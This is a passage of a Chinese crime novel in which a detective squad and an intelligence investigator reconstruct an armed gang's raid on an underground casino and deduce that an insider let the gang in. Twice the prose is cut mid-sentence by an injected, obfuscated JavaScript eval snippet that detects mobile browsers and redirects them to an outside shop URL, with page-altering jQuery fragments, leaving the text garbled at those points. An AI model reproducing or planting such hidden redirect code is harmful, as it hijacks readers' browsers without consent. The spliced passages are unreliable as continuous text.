他没有直接回答这个问题,而是环视会议室里的每个人,像往常一样提出问题:“他躲了这么多年,现在才跳出来找警方,为什么?” 安月见主动举起手,这个答案她已想过无数遍,“组长,我是这样想的,他上一封快递寄来的是表的照片,说明他才是委托掮客陈久永的真正卖家。可后来呢,不知怎么,表被发现了,作为掮客的陈久永被杀害了。这个人逃回红驼一直观察风向。” “但是不知道因为什么原因,蛇矛的人还是发现了他,所以白行人,宫达良,和牙都来了,这个人吧,也许是从哪里听到了风声,害怕了?我猜是这样。这才主动接触我们。” “对。”高尚桢赞赏的点点头,看到卫其宏跃跃欲试,“你想接着说?” 卫其宏便迫不及待的补充,“第一个表被发现的问题我能回答!” “两回了!”他举起手指晃了晃,“两回了!莞荟苑这个号称世界一流的安保系统都被黑客轻松拿下,所以蛇矛那边肯定有个顶级黑客!肯定就是那个坐轮椅的,高扈的弟弟高齐!” “陈久永把表挂上暗网,被这个黑客顺藤摸瓜找到线索,然后蛇矛中的高扈才会去河轻,却被咔擦干掉!这里唯一不能肯定的就是杀害陈久永的到底是谁,是高扈自己呢,还是那个干掉高扈的人。” 最后一句有点绕口,但是在场的都听明白了。 界至野嘿嘿的笑,摸出根烟在手里捏来捏去,“小安奇怪这个人从哪听到的风声?其实吧,这一点也不奇怪。” “你想想这个人哈,他当年在银脊地下赌场干,那跟黑白两道都脱不了关系,到咱们这也肯定这样。就算他不主动接触,但平时肯定留意这方面的消息。” “前阵子那阵仗多大呀,先是白行人死了,一堆拾荒的都看见了,这消息能不传出去?再后来宫达良又死了,就现场那个出租司机那张嘴叭叭叭的,让他们片警都头疼。我跟你保证,现在半个城都得听他白话过回收站里有个尸体。” “再说后来纪念医院枪战,这搁红驼多少年是没有的事啊。那新闻上说得再含糊,也总得提一嘴对吧;别说咱们调查官后来又给他们塞去了五个下巴漏风的病号了。” “这么多事摞一起,这个赌场伙计不知道才叫有鬼了哪。” 三分之二谜题都被同事完美解答,不同角度的分析让安月见觉得获益良多,她一面刷刷的在本子上记,一面不停点头,终于停下笔后,再度把目光投到组长身上。 高尚桢一直等她记完笔记,才开口总结,“大家都说得很好。不过最后一点,安月见,你说这个人害怕了,这个因素肯定有,但是不完全。” 他目光犀利如剑,“银脊案中人人非死即伤,连蛇矛都被打散伙了,可他不仅毫发无伤,反而拿了战利品。”说到这里他的声音顿了顿,目光在程宥的脸上一触即回,“……他还躲藏了八年。这样的人,害怕?有。但是更多的是贪心。” “他现在打电话,既是求救,也是出价。” “ 他既把我们当成他的保护伞,也当成他的买家。” “他的战利品,和他口里所谓的真相,就是他的筹码。所以,他一定会再打电话来,而且会很快。” “在那之前,必须把他的底牌给我一张一张翻出来!” “我们的武器,就是这堆绝密资料!” 33. 你来做我的情报官 高尚桢对中央情报司一点不感冒,但是面对箱子里的各种证物和记录,他还是得感叹一句,拥有庞大国家资源的情报部门,真要处理起问题来,和他们这些苦哈哈的地方警局相比,那真是完全不可同日而语。 第一个箱子里是银脊赌场的资料,光照片就有几千张,其他各种现场勘验报告更是不计其数;此外让人心中沉甸甸的,就是山一样高的验尸报告和各人生前调查记录。此外关于赌场情况也调查得极其清楚,连工作人员前后几年的体检报告都包含在内。 第二个箱子里的证据则取自不同地点——那个匪徒劫持学生逃走,并最终被击毙的废铜矿区;里面依旧充斥着无穷无尽的现场照片,人物对比档案,武器分析与弹道报告。 高尚桢拿起最上面被标为1号匪徒的照片,虽然尸体面部已被涂黑,但他还是意外的发现这个匪徒居然没了半条右腿。 如果说以上这些,红驼警局投入全部警力,花个大半年时间还勉强能对标,另一件事则更令刑警们瞠目结舌:照片明显是刚裁出来的;塑料袋透的激光标签崭新无比,每一张打印纸的边缘都锋利得扎手。 显然这些资料复制拷贝的日期就在最近。 高尚桢自然知道这个“最近”有多近。他拿着簇新的照片,有点心虚的看向正用纸巾擦会议桌的程宥。 ——就是说昨晚他打完报告,今天一早就飞去了苍都,在开会商议(被痛斥)之后,中央情报司在当天拷贝出全部证据,然后他又马不停蹄的飞了回来…… ——我是不是稍微有点过分啊,为什么就这么笃定他会答应? 其他组员完全没有体会到组长忽然良心发现的复杂心情,他们全体被眼前小山一样高的证据压成了哑巴。 卫其宏颤巍巍的举手建议,“组长,这个,我们是不是最好找其他组合作?比方说让信息组的同事帮忙?” 程宥擦桌子的动作慢了下来。 高尚桢瞥了他一眼,飞快的收回目光,坚决摇头,“不行。”他手指立起向下一点,神情极端严肃,“所有资料只能在这会议室阅读,一片纸都不准能带出去。”他顿了顿,“这里只允许组内人进出,我一会就叫保安处来装独立门禁;你们也不许和其他组同事议论银脊案,一个字都不可以。” 程宥继续擦桌子。 然而高组长还没结束,他用邪恶的目光看了看大家,“我会叫人拿睡袋和咖啡壶过来,这几天除了小安,其他人都给我在这里打地铺。” 程宥停下动作,他抬起头,刚想说话,高尚桢已经按着肩膀,一把将他摁回椅子里,“包括你。” 卫其宏开始后悔吃金箔帝王三文鱼了。 事实证明,人在巨大压力面前,要么举手投降爱咋地咋地就此变成一堆咸鱼,要么就是雄起一把,高唱百二秦关终属楚三千越甲可吞吴。 刑事组的几名警官从本质上来说,属于前者(就请问谁不是?),但是很(不)幸福的是,他们的组长是后者。 3 VS 1,他们都变成了后者,马上全情投入调查。 会议室里最不配合的反而是调查官了。 程宥面前堆了半米高的弹道分析,□□材料和匪徒尸检报告,可他沉默的坐在桌旁,迟迟不肯动手。 ……不对劲,他这有点抗拒的态度是怎么回事? 高尚桢一屁股坐在他旁边椅子上,低声开口:“你得以身作则,程宥。” 程宥指了指腕表,以同样低的声音回答:“已经二十一点零五分,现在是下班时间,这是劳动法要求的。” ——就你还学别人撒谎,肯定不是因为我最恨的劳动法。 高尚桢并没有揭穿他,反而指着旁边那几个漂亮的Cadenza by L’Aria外卖盒——界至野要回去带给他闺女装球星照片——生硬的转开了话题,“看你对这种店这么熟,程宥,你赚的肯定比我们这几个小警察加起来都多。” 程宥秒懂,“你担心还不上信用卡?” 红驼城警察平均薪水x5 vs.中央级高级参事官薪水x1。 胜出。 程宥去摸钱包。 高尚桢一把按下他胳膊,咬牙切齿:“当然不是!你赚得多也应该,你实际级别……”他不情愿的问,“是不是和我们署长一样高?” 程宥没出声。 ——居然比我高,靠……好吧,总算又收集到一条情报。 “应该的,你能力强。”高尚桢忍着醋意开始拍马屁,“动手的话,”他看了看四下,小声说:“很快就把我们都打趴下对吧。” “40到50秒,具体时间取决于你们当时状态。” “40……” ——你真算过! 高尚桢噎了一下,拍拍他肩膀,挤出笑,“很好,所以你看,你赚得多,本事大,级别高。所谓能力越强,责任越大。”他开始灌鸡汤,“你必须得以身作则,必须得帮我。” 程宥看了看他,又看了看辛苦工作的三人组,脑中理性链条不断运转。 ——他的话逻辑通顺,完全合理。 ——警务人员条例第16条:遇重大/紧急案件,须无条件服从指挥,劳动法相关条款可暂时豁免。 ——加班。 他拉了拉领带,闷闷的回应:“这些武器专业人士已经分析过,我不认为可以比他们做得更全面。” “是的,我知道。”出人意料的,高尚桢点头承认,“我要的不是你去分析什么炸弹,什么子弹,我要你来做我的情报官。” “你来做环境研判。” ========================================== 高尚桢伸手拉过屏风,将自己和程宥搁在另外一侧,和埋头苦干的三人组分开。 “多亏你这些照片,让我觉得自己之前的某些想法可能错了。”他坦率的承认,随即严肃的看向调查官,“为了纠正这个错误,也为了验证新的假设,我需要强大的情报支持。我没时间,也没资源去搞一个小组在这里分析个几天。” “程宥,你来告诉我答案。” 程宥站起来,和他面对面而立,他摘下了眼镜,露出深灰色的眸子。 “你需要哪种环境研判?” 高尚桢没有直接回答,而是问了他一个问题,“你之前说你没去过银脊赌场,是实话吗?” “是实话。”程宥点头,“目标地点是位于小雨川机场东南方向85.5公里处的废铜矿区,在银脊赌场西偏北25度方向94.2公里处。” 他声音沉着,“我从来没有去过银脊赌场。” “很好。”高尚桢点头,举起左手,里面是一堆照片,“这是揭示银脊赌场内部情况的照片,我扣下了。” 他抬起右手,将快递地图的复印件递给程宥,“这归你了。白天你也看过,上面什么信息都没有。” “请根据你对环境的研判,用推测把这张地图填满,尤其是标明各种进出的通道。” “然后我会根据照片上的真实情况告诉你错或者对。” “这不是无聊的考试,而是我需要知道你有多强,你做出的结论到底有多精确,这样才能保证我的最终结论不出错。” “能做到吗?程宥?”高尚桢看着他,目光带一点挑衅,“做不到就直说。” 程宥盯住他,一言不发,慢慢伸出手,扯下了脖子上的领带。 高尚桢笑了,“好,现在请你执行命令,程宥调查官。” 会议室两侧都是可书写墙面,常年备有白板笔。它们常年遭受高组长祸害,大半成了废品,也不扔,都堆在一起。 程宥随便捡出一支黑色,还不等高组长开口告诉他这支废了不管用,已将这支废笔倒竖在手中,笔尖朝下,在桌角轻轻敲了敲,又拎起旁边的酒精消毒液,喷了它两次。 几秒过后,断墨半年的笔尖重新润开,黑色墨线顺滑如初。 目睹这个小小奇迹的高组长:…… 那张几乎没什么信息的地图已被胶带粘在了墙壁上。 程宥握着笔,目光从地图最上方通道扫过,扫过拱门,扫过大厅,一寸寸前进,最后落在密舱之上。 他目光微微垂下,整个人静了下来。 高尚桢呼吸一窒,程宥明明就在眼前,然而他却感到这一刻失去了他的踪迹。他的呼吸淡得几乎听不见,身体纹丝不动,神情仿佛冰封。 他又恢复成第一天相遇的那个调查官,默默留在一隅,从这个世间陷了下去。 高尚桢不敢动,不敢出声。 别打扰他。 他想。 两分钟之后,在高尚桢的注视下,程宥再度具现而出。 他拿起笔,在墙壁上画下了第一笔。 十分钟之后,高尚桢面前的书写墙上,已多出一副绘制精细,标识详尽的银脊地图。 除非火眼金睛,否则无人能看出这是3:1的比例精准复现了那份粗糙的快递。 高尚桢的目光从程宥身上收回,他卡着腰,开始打量这张全新的地图。 除了线条平滑,比例极端精确之外,和“原版”相比,这副地图还多出了新的图形与路线。 比方说,25米主通道旁的另一条窄道。 “这是物资井。” 程宥脊背如标枪般挺直,手中墨笔顺着窄道一路滑向内测。 “赌场每日有大量现金交易,同时需要大量酒水补给,物资通道是必须的,位置必定非常隐蔽且能直达内部,最合适的地点就是这里。” 高尚桢没开口,从手里抽出了一张照片,用胶带粘在窄道中间。 ——照片上是一条细长的窄道,内外双道沉重的铁门封锁入口。 ——照片空白处有行打印的注释:赌场物资井。 比方说,东侧旅馆与北侧员工宿舍前方,各多了一个圆柱形结构。 “通风井。” 程宥冷静的解释,笔尖在两处各点了点。 “银脊赌场位于地下,必然存在通风井,以总体面积推算,应该是两到三个,这里是赌场内部的一个,东侧旅馆的应该是主通风口。” 高尚桢依旧没有开口,挑出两张照片,对应着将一张放在北侧,另一张放在东侧旅馆。 ——照片上井口又圆又粗,被粗大的刚栅栏牢牢封住,上面的红外传感器清晰可见。 ——空白处各有注释:赌场(主)(次)通风井。 他望向程宥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652202|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,望到了一杆淬利了的长枪,寒意凛冽,光芒万丈。 “VIP客人身份不同,赌场会为他们准备特殊安全撤离路线。有几处地点可供考虑。”程宥的声音与目光一样冷峻而谨慎,“不过考虑山体走向和实际面积,我更倾向于这里。” 他指向南侧扇形VIP房间的厚墙, 高尚桢一言不发,这一刻他仿佛舞台上的背景板,无声无息的将第四张照片更换了上去。 ——装帧豪华的扇形VIP房内,墙上那幅巨大的山水画已被撕下,露出黑洞洞的出口,地上的赌桌倒在一旁,稍远处的猩红地毯上,隐约可见一具仰面朝天的尸体。 ——那是赌场老板周乐天。 “密舱。”程宥拿着笔,指向那处被浓重标出的方块,只有此处尚未添加任何信息。 ——密舱。高尚桢在心里默默跟读,一切起始的地方。 “密舱是赌场的心脏。” 程宥言简意赅,“它绝对不会直连外部,但同时也必要保证安全。所以一定有密道通向紧急出口,也就是刚才的VIP房间。” 他拿起笔,从密舱下方落出道垂直向下的竖线,随即转向90度,直穿扇形VIP房间地下。整个过程中他并没有用到格尺,然而线条笔直利落,没有丝毫颤抖曲折。 ——如果从VIP房就能直通密舱,要如何密舱保证安全…… 高尚桢刚产生这样的疑问,程宥已经开口答疑,“密道里必然有某种设施,保证它是单向通道,只能从密舱通往VIP方向,反之则不。” 不容高尚桢开口,程宥抬头看向他,平静开口,“密舱中的死者,是否死于极近距离的正面射击?” 被这双深灰的眼睛注视的高尚桢呼吸都被攫取了,他点了点头,听到自己涩然的声音:“是。” 程宥沉默下去,就在高尚桢以为他陷入思索时,他已回头抽出另外一根蓝色墨笔,伸手弹了弹,随即在密道中间画出一个方形格间,填上数笔蓝色平行斜线,“这里是控制方向的中转间,死者应该在这里中弹。” 高尚桢沉默许久,慢慢将最后一张照片放了上去。 照片很多地方已被人为涂黑——涂黑的是具倒在方形格间的尸体。 尸体的一只手探出了门外。 程宥昂头直视高尚桢,深灰眼睛一片平静。 “高尚桢,请你判断我的结论是否足够精确,能否给你足够的情报支持?” 高尚桢动也不动,这一刻他无言以对。 ——这就是朗基努斯之枪。 “我……”高尚桢张了张嘴,很快又闭了起来。 一时两人都没有开口,回旋在他们之间的,只有屏风那端,界至野和卫其宏大呼小叫的声音。 高尚桢低下头,伸手抹把脸,将莫名的悸动藏进了掌心。 很快他又抬起头,变回了那个神气老辣的高组长。 “很好,我现在有了最好的情报官。”他笑了,“现在请你化身蛇矛,设计出一条最理想的路线。” “我要知道的很简单:蛇矛这帮人到底是怎么攻入的银脊赌场。” 我……化身蛇矛? 他想,目光重新落上了二十五米长的主通道。 “……这里的铁门厚度肯定超过半米,最起码有五到六名警卫全副武装,而且24小时和内部安保接应。在这种情况下,选择正面突破概率也会小于百分之五十,即便成功,也必然大量伤亡。” “我应该不会选择正面攻击。” 他又看向物资井和通风井:“物资井入口被双层沉重铁门封锁,虽然设有通风井,但井口有刚栅和红外感应,任何强行闯入都会被立刻发现。” “在这里攻击也不是个好主意。” “剩下的只有紧急通道,但是从地形上看,它通向山脊背风面,在陡峭地形下,一般只容单人通行,而且一定会设有内锁和陷落装置。” “从外部强攻几乎不可能。” 程宥说到这里,忽然意识到了高尚桢要说什么了,他灰色眼睛里略过一丝罕见的讶异,声线依旧保持沉稳,“银脊赌场的保安近乎完美。在这种情况下,我只能选择强攻,把这里变成战场。” 高尚桢霍然抬头,瞳孔中闪过一线雪亮的光,“你还记得方楚第一次录音里说什么?” 程宥沉默不语。 这一刻他和高尚桢同时清清楚楚听见了方楚的声音。 “当时正……正准备休息,突然闯进好多全副武装的蒙面人,人人手持冲锋枪。” 怎么可能有人在战场里玩牌! 高尚桢来到他身边,抬起手,指尖轻触墙壁,顺着精细无比的地图上慢慢移动,从南部VIP房一路北推,最终停在了那张员工宿舍前的通风井照片上。 “不可能有正面攻击,不可能。”他咬紧牙关,竭力抑制几乎无法控制的战栗, “一定有内应。” “内应从内部关闭了感应装置,打开了通风井。” “这个人必须是内部员工,这个人大概率活着,这个人渔翁得利。” “只有一个人满足这些条件。” 他霍然抬头,目光冷厉无比。 “那个给我们寄这张地图的人!” 34. 银脊的半张面具 盛冉病了几天,今天终于彻底恢复健康。 她早早就起了床,将孩子送上校车后,在前往警局的路上特地绕点路,去了红驼一家很红名的早餐店,点了满满两袋子早餐,想了想,又去连锁店买了一大盒咖啡。 希望组长不要领着大家卷得太疯狂。 盛冉这么希望,然而一推开办公区的大门,她就知道希望的肥皂泡破灭了。 安月见刚从洗手间洗完脸出来,见到她来了眼睛一下子就亮了起来,“盛姐!”就要跑过来,冷不防脚下一绊,顿时一个趔趄,险些没摔倒,吓得盛冉赶紧放下手里的大包小包,上前查看,“没事吧?” 安月见不好意思的摇摇头,“没事。”发现盛冉在看自己,赶紧捋了捋微乱的头发,小声问她,“盛……副组长你病好啦?” 同时她在心底暗自祷告:喷雾啊喷雾,你可要给力,别让盛姐闻出我身上有什么味道。 盛冉瞅着半年前还跟水葱似的女孩子,如今头发短了皮肤黑了眼皮也肿了,刚想安慰她,门一拉,卫其宏打着哈欠从外面走来,还没进门鼻子就闻来闻去,“什么味道这么香?”一眼瞅到盛冉,眉开眼笑,“盛姐回来了!你全好啦!” 盛冉无言的打量着头发跟鸡窝似的年轻刑警,想起来几年前他报道的时候,也是个精神利落的名牌小伙,哪跟眼下似的,一副刚从深山沟里钻出来的惨样? 老界就不用提了。盛冉镇定的想,希望他女儿还能认得出他来,整个刑事组,大概不被影响的就只有调查官了吧,毕竟他看起来永远那么完…… 她的念头才转到这里,就听到组长响亮的声音,“……把你那矿泉水放一放 ,赶紧喝口咖啡打打精神,你这个人,喝一口又死不了!” 随即他的催促,门吱呀一声被推开,他们的组长大步流星的跨进门,随手将门掩住,将身后的人让进来。 等盛冉看清这人的样子,一瞬间竟没把他和记忆里那位调查官对上号。 她的印象里,调查官程宥永远都那么风度翩翩温文尔雅,一身西装不知熨了多少遍,压根就是小说里女主(或男主)求之不得的白月光;或是对女主(或男主)求之不得的完美男二,读者心里永远的白月光。 然而,眼下这段白月光的西装不知去了哪里,他只穿了里面的银色衬衫,虽然洁净,却肉眼可见多出若干褶痕,两只袖子也高高的卷起,眼镜被摘下,蓬松发间遮盖了额头,露出微现疲倦的深灰眼睛。 ……不,没人能在组长手下幸免遇难。 盛冉迅速修正想法。 绝世神兵也不例外。 程宥推开高尚桢硬塞到眼前的速溶咖啡,“不,我很好,不需要。” 高尚桢把咖啡举到他鼻子底下,很自信的说:“我觉得你需要。” 程宥冷冷睨了他一眼,“我确定100%不需要。”他顿了顿,才找回惯性用语,“谢谢。” 他转向盛冉,很高兴的微笑起来,“你恢复健康,这很好,欢迎回来。” 面对盛苒的他如此温和斯文,俨然白月光永驻人间。 高尚桢在旁笑嘻嘻的喝咖啡,问盛苒:“你身体彻底好了?多休两天也没关系。” 盛冉微笑的推了下眼镜,“真的吗?那可太好了。” 高尚桢从她的袋子挑出个纯肉包子塞进嘴,“先等两天也行。案子破完了,你就把剩下的病假全休了,到时候我给你批。” 照例画过大饼后,高尚桢把大家再度领回会议室,界至野正趴在桌子上打盹,口水流了老长,直到一帮人进来他还在打呼噜,卫其宏拿起熏肉卷,凑在他鼻子下晃来晃去,最后愣把他给熏醒了。 盛冉被桌面和地面上的各种文件,照片,还有特意搬进来七扭八歪的电脑,以及密密麻麻的白板墙惊呆了。 当然,让她最受到冲击的还是满屋子里的霸道气息,她走到窗边,想拉开厚重的天鹅绒帘,让清晨的风透进来,然而手刚伸出去,身后的三人组已异口同声喊出声来,“盛姐(副组长!)不能开!” 怎么? 盛冉诧异的回过头,三人开始你一言我一语的给她介绍情况,当提到“绝密”二字,六只眼睛齐刷刷的看向调查官,后者将他那永恒的矿泉水瓶放在桌面上,抽出纸巾开始擦桌面,间或抬头向盛冉笑笑,不说话,继续低头擦。 高尚桢坐在对面啃肉包子,注意到他在提起食物袋子时,目光在里面的一张鸡蛋饼上停了下,很快就收回。他喝了口水,站起身,对刚刚了解完情况的盛冉点点头,“事情就是这样,”说着拍了拍手,吸引正在狼吞虎咽的组员们注意,“大家歇息够了吧。现在我们来复盘一下。” 界至野&卫其宏&安月见:压根都没有休息,什么叫够了? 盛苒:永远是这句。 程宥:糖油混合物作为早餐也可以吗? 高尚桢……高尚桢才不管别人怎么想,他马上就进入了状态。 “42年一月九日深夜,带有军事性质的蛇矛进入银脊,准备抢劫。”他在会议室的白板墙上写下42,蛇矛,银脊三个字,然后在蛇矛上画了个圈圈,“蛇矛人数,安月见!” “根据事后的证人口供,推测当晚进入银脊的大约13 到15人。” “很好。”高尚桢在蛇矛两字下写出15二字,“他们之前曾经联络过下游销赃的老鬼头,提到钻石,可见当日他们是有的放矢,并不是打劫普通赌客那么简单,当然我们知道当晚交易的并非钻石。要么蛇矛没找对真正的交易两方,要么钻石就是个假消息。” 他不由看了眼程宥,对方慢慢喝着矿泉水,一脸平静,就跟这事与他无关一样。 卫其宏嘴里还有半个包子,他想问点啥,最终还是选择闭嘴继续嚼包子。 包括盛冉在内,组员们很有默契的没有追问真正交易到底是什么。 是什么都无所谓,他们想,那是情报司和军方的事,我们的任务是破案,是抓住凶手,把他们送上法庭。 “当晚赌场内,一切都很顺利,大多数客人在大厅里赌博,还有几个人在VIP包间里。” 高尚桢目光微渺,此时此地,他仿佛横跨时空,步入了充满了纸醉金迷气息的银脊。 头上的水晶吊灯缓缓旋动着,七彩光芒洒遍每个角落。钢琴声从角落里悠扬响起,小提琴手在旁伴奏。 忙碌的侍者们穿梭于各张赌桌间,客人们时而眉开眼笑,时而郁闷的跺脚。他们也偶尔会停下玩牌的手,走往侧面的吧台要一杯鸡尾酒。 两名调酒师忙得像陀螺,现场准备食物的厨师专心致志,埋头工作。 连绵群峰间,雪花开始静静飘落。 通风井从内被打开,十几名荷枪实弹的蛇矛成员无声无息的进入这座严防死守的地下赌场。 “在蛇矛的计划中,这是笔生意利润丰厚,又几乎没有风险,他们本应该劫完就走,就像他们一贯的风格,不碰私人。” “但是他们不知道这天晚上,密舱里进行的,并不是一桩普通交易。” 砰!砰!砰! “……具体情况已无从查证,总而言之,密舱的交易双方确实死亡。”高尚桢沉沉的说,这一刻他仿佛听见震耳欲聋的枪鸣,以及几日后密舱内外不停响起的相机声。 没有人说话,没有人疲倦,所有人都想起了照片上两具被彻底涂黑的尸体。 “蛇矛也少了两个人,很可能还有其他人受伤。” 他从整理好的文件夹中抽出几张照片,摔上了桌面,上面是两具额头中弹的尸体。 “这是在银脊当场死亡的两名蛇矛成员。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652203|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高尚桢将一份法医报告拍上了照片旁边,“现场勘验报告显示,他们体内的子弹比常见口径小一号,弹底有刻痕。” “卫其宏,这意味着什么?” 卫其宏放下了手中的奶茶,努力思考道:“不是普通人,赌场交易,绝密,小口径子弹,刻痕……”他小心的瞧了眼程宥,又速速回头:“特工? “对。”高尚桢点头,看向界至野,“现在,界至野,你代入蛇矛的首领。你本来是来抢钻石的,结果你的两个兄弟被意想不到的神秘人物干掉了,你的第一反应是什么?” 界至野摸着下巴:“我X……这是个套儿!” “没错,圈套。”高尚桢用红笔在白板墙上写下这两个字。“没错。他们会认为这是个圈套。” 他转回身,冷冷的说,“如果我是蛇矛的首领,我一定会马上做出决定。” “消灭证据,马上撤退。” 组员们的呼吸抽紧了,他们看到组长从文件夹里拿出一沓厚厚的照片,一张又一张,摆上了会议桌。 一张,一张,全是尸体的照片。 有侍者,有保安,有钢琴师,有赌客,有荷官;有男,有女,有老人,有青年。 高尚桢努力想把每一张铺开。 然而它们太多了,会议桌上放不下。 室内静得可怕,只有照片落在桌上的轻微声响。 “我知道大家很累,”实在放不下,高尚桢把剩下的照片小心的摞在一角,“而且说实话银脊也不是我们的案子。” 他指了指照片,“但是,从现在开始,它是了。” “ 我一定要为他们找回公道。” 程宥将矿泉水放下,坐在椅子上望着高尚桢。 高尚桢的喉结艰难的咽了咽,很快就重新稳了下来。 “我们再来研究下他们退出的路线。他们不能从原处离开,因为通风井吊进来容易,拉出去难。” “他们要按计划的那样,从安全通道离开,就在那个扇形的VIP房间。” “他们冲向这个房间时,路过了隔壁的椭圆VIP房。” “这里当时有几名从赛因港来的学生,正和一个姓云的富商赌牌。” “他们中只有一个人不在,他在外面的大厅里,他是他们中最幸运的一个,尽管他中弹,大失血,切除了肝和脾。” “蛇矛把VIP的客人劫走了,奇怪,他们为什么这么做?” 卫其宏抹了把脸,望向他的组长,思维的齿轮迅速飞转,“是很奇怪啊,杀人是为了泄愤,可蛇矛都要走了,为什么费劲还要带上VIP的客人,这不是累赘吗……” 他的声音逐渐低了下去,突然之间,一个鲤鱼打挺从椅子上蹦起,“直升机!是直升机!小安,你记得我们看过矿场外面的照片吗?直升机,直升机!” 安月见被他喊得一愣,随即如梦初醒,手忙脚乱的从一堆照片里翻出了好几张,上面是两架直升机的残骸。 “对。”高尚桢点头,“武装直升飞机,他们是坐直升机来的。别忘了,他们之前打劫了很多地方,矿区,码头,小军火库,没有直升机快速进退,很容易陷入危险。” “作为有军事背景的前军人,遇到可能是军方设置的陷阱。他们在进入直升机之前,最大的顾忌会是什么?” 组员们同时出声:“火箭炮!”“敌人可能有导弹!”“直升机要被打下来了!” 盛苒在这个时候已完全跟上了节奏,她无声点头,声音很低,“所以VIP房间里的肉盾必须带走。” 是的。 这就是那充满混乱,巧合,血腥与杀戮的一夜。 白雪朔风之间的银脊血案,经过茫茫八年,在烈阳高照的沙漠边境红驼城,终于揭下了面具。 半张面具。 35. 把他给我找出来! 中午时分,第三份匿名快递到了。 依旧是银脊的地图,结构几乎一模一样的地图。 只是不同于前一张的潦草简单标识全无,新的地图虽然画技低劣,但在每个地方都有明确标识,标识上的字是打印出来贴上去的。 原本那条30米通道上,标出了三个字:主通道;此外它下方,多了条平行窄道,上面贴了三个字:物资井,物资井尽头则用水彩笔画出两道门。 南侧区域的六个形式复杂的房间也用贴纸标明了用途:VIP房间;其中扇形VIP房间后,多了个直通山脊的出口,上面有一行小字:紧急撤离通道。 此外,东侧和北侧也新画了两条圆形通道,它们的用途很清楚——通风井。 高尚桢把这张新到的快递摆在上方,又将程宥标记的地图放在下方,两下对比,除了笔画力道完全不同和廖廖几处外,几乎一模一样。 他看了眼对面一夜没合眼的程宥,同一个声音再次响彻耳旁。 这就是朗基努斯之枪! 然而朗基努斯之枪没有听到他的心声,他托着下颌,安静的看着面前的速溶咖啡,还有那瓶附赠的可乐,陷入思索。 要不要喝下去,让去甲肾上腺素和多巴胺暂时得到释放? 他想。 从高尚桢的态度可以判断,今天必然至少还要工作12个小时,我的反应已经变慢,很可能随着时间过去会变得更慢,咖啡因可以暂时从心理和生理两个方面提供支持。 不过长期饮用,会影响心脏和肌肉的稳定性。 一次性的补充并不属于长期,然而有很大概率身体会记住这种反应。 从0到1不容易,从1到100很容易。 不。 从0 到1很容易。 他沉默的想。 不能喝。 组员们围到组长身边,仔细比较着两张地图,又惊讶又不惊讶。 反正没什么是调查官做不到的,他们想。 神通广大,英俊潇洒,打遍天下无敌手,最关键的,脾气还这么好。 我可太喜欢调查官了。 除了组长以外的每个人都这么想。 界至野想得就又深了一层:我老婆总张罗给她在医院工作的那个表妹找对象……调查官手上也没戒指……是不是可以…… 舆论中心的程宥仍在一脸平静的喝着矿泉水。 其中高组长摸着下巴,真.专心致志的打量地图,“注意有什么不同没有?卫其宏?”他开口问。 卫其宏在睡袋里睡了三个小时,只觉得浑身上下哪都疼,被组长一问,连脑袋也开始疼,“密舱的通道。”他贴近地图努力看来看去,“密舱和VIP房间的通道没有画上去。” 高尚桢笑了,“是啊,做贼的人总是心虚。” “他给了我们一张什么都有的地图,唯独不敢画出那条他自己走过的路。” “唯独不敢承认他自己做过的恶。” 他的拳头攥起,重重砸上了桌面,“好吧,现在我们就来查查看,给蛇矛开门的是到底是谁。” 界至野已经憋了很久,对,他一向非常佩服老大没错;对,老大英明神武没错;对,老大永远正确没错。 然而不知是熏肉大饼,还是受到可能成为调查官表姐夫这个想法的激励,他勇猛异常的开了口,“老大,这个太难了吧,我们找不到哇!” 出乎意料的,高尚桢的脸没有黑,也没有冷笑讽刺我看你叫找不到,他缓缓坐下,笑容玩味,“你认为找不到?” 界至野看到同事们用一种“死道友不死贫道”的悲悯眼神看自己,有点后悔,不过死都死了,再死彻底点也没啥。 ……大不了以后卡我报销呗。 他视死如归的继续犟,“老大,你厉害,我觉得我们几个也挺厉害,但是你想想啊。”他伸出手朝着屋子里的密密麻麻的资料一划拉,“这些人,我说情报司这帮人,多厉害啊!你看看他们的本事,八年了,八年他们都查不到啊!我们能查到吗?” 他看向程宥,心一横眼一闭,寻思老子今天豁出去了!“调查官,你们……你说他们这么厉害,是不是都没有查到?” 程宥托着腮静静看他,看得界至野毛骨悚然。就在他想完了完了老子今天真死了的时候,就看到调查官用很慢很慢的速度点头。 ……真是个大好人! ……表妹夫! 屋子里的组员心有灵犀,衷心赞叹,然后齐齐看向高尚桢。 ——情报司八年查不到的人,凭什么你认为你能行? ——凭什么我们认为自己能行? 高尚桢又笑了。 “是,情报司有海量资源,高级智囊,他们能做到的我们做不到。”他坦然承认,看着大家渐渐充满疑窦的眼神,“但是有个关键点你们不要忘了。” “情报司的目的。他们行动的目的不在于查清血案真相,那也不是他们的责任,是警察的,是我们的。他们的目的是要寻找某种东西。” 他咳嗽一声,又看了程宥一眼,“就当是钻石吧。他们想找到的是钻石,还有他们认为持有钻石的蛇矛。他们手上有这些尸体,有尸检报告,有现场的各种各样的线索,但是他们没有一个想找出凶案真相的警察。” “因为真相对他们很简单,蛇矛拿走了钻石,杀了人,他们要找到蛇矛,就这样。” “但我们知道不是的,有内应,有人开门。” “我们为什么知道呢?”高尚桢声音一沉,看向安月见,“小安,我们为什么知道?” 